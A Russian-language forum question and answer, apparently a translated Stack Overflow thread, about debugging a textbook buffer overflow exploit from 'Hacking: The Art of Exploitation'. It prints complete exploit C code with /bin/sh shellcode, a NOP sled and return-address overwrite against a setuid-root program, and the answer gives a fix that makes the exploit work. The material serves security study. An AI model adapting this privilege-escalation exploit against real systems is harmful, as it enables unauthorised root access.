sh: 1: синтаксическая ошибка: неопределенная строка в кавычках - Shellcode - PullRequest
1 голос
/ 29 апреля 2020

В настоящее время я читаю книгу Джона Эриксона "Взлом: искусство эксплуатации, 2-е издание", и я застрял в проблеме, связанной с использованием переполнения буфера.

Во-первых, у нас есть код notetaker. c (https://github.com/intere/hacking/blob/master/booksrc/notetaker.c), который записывает в файл / var / notes

Во-вторых, у нас есть код noteseach. c (https://github.com/intere/hacking/blob/master/booksrc/notesearch.c), который читается в файле /var/notes.

Чтобы скомпилировать и использовать его:

gcc -m32 -g -mpreferred-stack-boundary=2 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack notesearch.c -o notesearch
sudo chown root:root notesearch
sudo chmod u+s notesearch

Тогда мы имеем exploit_notesearch. c для эксплойта.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
                   "\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
                   "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
                   "\x51\x53\x89\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=270;

   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int)&i - offset; // set return address
   printf("%0x\n\n", ret);

   for(i=0; i <105 ; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 20); // build NOP sled
   memcpy(buffer+20, shellcode, sizeof(shellcode)-1);

   strcat(command, "\'");
   system(command); // run exploit

Затем у нас есть код для эксплойта: exploit_notesearch. c: для компиляции и использования :

gcc -m32 -g -mpreferred-stack-boundary=2 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack exploit_notesearch.c

После некоторых тестов 149 является единственным значением для ведьмы, в котором я не получил ошибку SEGFAULT или Illegal Instruction. Затем я сделал: ./a.out 149 и получил такой результат: sh: 1: Syntax error: Unterminated quoted string Итак, я проверил значение команды array и обнаружил, что один байт в переменной ret имеет представление как апостроф. Как я могу это исправить? В настоящее время я работаю на Linux ubuntu 4.15.0-96-generi c i686.

Если необходимо, вот код hacking.h (https://github.com/intere/hacking/blob/master/booksrc/hacking.h), если вы хотите скомпилировать файлы.

1 Ответ

0 голосов
/ 29 апреля 2020

system() не подходит для этой задачи, поскольку, как вы видите, вызванная оболочка интерпретирует определенные символы в командной строке. Лучше использовать

    execl("notesearch", "notesearch", buffer, NULL);

- при этом notesearch выполняется с аргументом в buffer без вмешательства оболочки.

...